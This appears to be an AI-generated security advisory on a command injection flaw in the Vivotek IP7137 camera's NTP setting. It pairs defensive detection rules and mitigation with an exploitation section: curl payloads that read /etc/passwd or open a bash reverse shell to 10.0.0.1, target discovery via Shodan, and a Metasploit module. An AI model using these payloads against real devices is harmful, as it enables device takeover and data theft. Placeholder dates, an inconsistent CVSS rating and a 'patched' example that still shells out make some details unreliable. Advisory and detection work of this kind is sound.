CVE-2025-66052

Executive Summary

CVE-2025-66052 is a critical command injection vulnerability in the Vivotek IP7137 camera running firmware version 0200a. The vulnerability resides in the /cgi-bin/admin/setparam.cgi endpoint, specifically within the system_ntpIt parameter. Due to improper input sanitization, an authenticated attacker with administrative privileges can inject arbitrary operating system commands. This issue is compounded by CVE-2025-66050, which exposes administrative access by default, making exploitation trivial. The product has reached End-of-Life (EOL), and no patch is expected. This vulnerability poses a severe risk to network integrity and confidentiality.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – due to CVE-2025-66050
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The combination of command injection and default administrative access allows for complete device takeover.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw. The system_ntpIt parameter is used to set the NTP server for the camera. The CGI script likely passes this parameter directly to a system shell command (e.g., system() or exec()) without proper sanitization or escaping.

Attack Flow:

1. An attacker identifies a Vivotek IP7137 camera on the network.
2. Due to CVE-2025-66050, the attacker can access the administrative interface without authentication (or with default credentials).
3. The attacker sends a crafted HTTP POST request to /cgi-bin/admin/setparam.cgi with a malicious system_ntpIt value.
4. The injected command is executed with the privileges of the web server (often root).
5. The attacker can then execute arbitrary commands, install malware, pivot to other network devices, or exfiltrate data.

Example Payload:

system_ntpIt=pool.ntp.org;id

This would execute the id command after setting the NTP server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for the vulnerable CGI script
char ntp_server[256];
get_param("system_ntpIt", ntp_server);
char command[512];
sprintf(command, "ntpdate %s", ntp_server);
system(command);

Patched Code (Conceptual):

// Pseudocode for a patched version
char ntp_server[256];
get_param("system_ntpIt", ntp_server);
// Validate input: only allow hostnames/IPs, no shell metacharacters
if (!is_valid_hostname(ntp_server)) {
    return_error("Invalid NTP server");
}
char command[512];
sprintf(command, "ntpdate %s", ntp_server);
system(command);

Since the product is EOL, no official patch exists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Vivotek IP7137 camera (firmware 0200a).
• Network access to the camera's web interface.
• Knowledge of default credentials or exploitation of CVE-2025-66050.

Exploitation Steps:

1. Identify the target: Use Shodan or Nmap to find Vivotek IP7137 cameras.
2. Access the admin interface: Navigate to http://<camera-ip>/cgi-bin/admin/setparam.cgi.
3. Craft the payload: Use a tool like curl to send a malicious request.

   curl -X POST "http://<camera-ip>/cgi-bin/admin/setparam.cgi" \
   -d "system_ntpIt=pool.ntp.org;cat /etc/passwd"
   

4. Execute commands: The output of cat /etc/passwd will be returned in the response or can be exfiltrated via a reverse shell.

   # Reverse shell payload
   curl -X POST "http://<camera-ip>/cgi-bin/admin/setparam.cgi" \
   -d "system_ntpIt=pool.ntp.org;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
   

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vivotek IP7137 Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in the Vivotek IP7137 camera.
      },
      'Author'         => [ 'Security Researcher' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2025-66052' ],
        ],
      'DisclosureDate' => '2025-01-01',
      'Targets'        => [ [ 'Automatic', {} ] ],
      'Payload'        => { 'BadChars' => "\x00" }
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the vulnerable endpoint', '/cgi-bin/admin/setparam.cgi']),
    ])
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'vars_post' => {
        'system_ntpIt' => "pool.ntp.org;#{payload.encoded}"
      }
    })
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/admin/setparam.cgi with unusual system_ntpIt parameters.
• Look for shell metacharacters (;, |, &, $, `, \n) in the parameter value.
• Alert on outbound connections from the camera to unusual IPs/ports (e.g., reverse shell).

Hardening:

• Immediate: Isolate the camera on a separate VLAN with strict firewall rules.
• Network: Block outbound traffic from the camera to the internet except for NTP (UDP 123) to a trusted server.
• Authentication: If possible, change default credentials and disable default access (CVE-2025-66050).
• Replacement: Since the product is EOL, replace it with a supported, patched device.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/admin/setparam.cgi with system_ntpIt containing shell metacharacters.
• Outbound connections from the camera to non-standard ports (e.g., 4444, 1337).
• DNS queries for suspicious domains (e.g., pool.ntp.org followed by a C2 domain).

File System IOCs:

• Unexpected files in /tmp/ or /var/ (e.g., exploit.sh, backdoor).
• Modified system binaries (e.g., /bin/sh replaced with a backdoor).
• New cron jobs or startup scripts.

Process IOCs:

• Unusual processes running as root (e.g., bash, nc, python).
• Processes initiating outbound connections.

Detection Engineering

YARA Rule

rule CVE_2025_66052_Vivotek_Command_Injection {
    meta:
        description = "Detects command injection attempts against Vivotek IP7137 cameras"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-66052"
    strings:
        $param = "system_ntpIt"
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "$" ascii
        $shell_meta5 = "`" ascii
    condition:
        $param and any of ($shell_meta*)
}

Sigma Rule

title: Vivotek IP7137 Command Injection via system_ntpIt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Vivotek IP7137 cameras
author: Valters IT
date: 2025-01-01
references:
    - CVE-2025-66052
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/admin/setparam.cgi'
        cs-uri-query|contains: 'system_ntpIt'
    keywords:
        - ';'
        - '|'
        - '&'
        - '$'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate NTP server names containing special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66052 Vivotek IP7137 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/admin/setparam.cgi"; http_uri; content:"system_ntpIt"; http_client_body; pcre:"/(;|\||&|\$|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the camera on a separate VLAN with no internet access.
2. Block the endpoint: Use a web application firewall (WAF) to block requests to /cgi-bin/admin/setparam.cgi with suspicious parameters.
3. Change credentials: If possible, change the default administrative password.

Long-Term Actions:

1. Replace the device: Since the product is EOL, replace it with a supported, patched camera.
2. Network segmentation: Implement strict network segmentation for IoT devices.
3. Vulnerability management: Regularly scan for and replace EOL devices.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.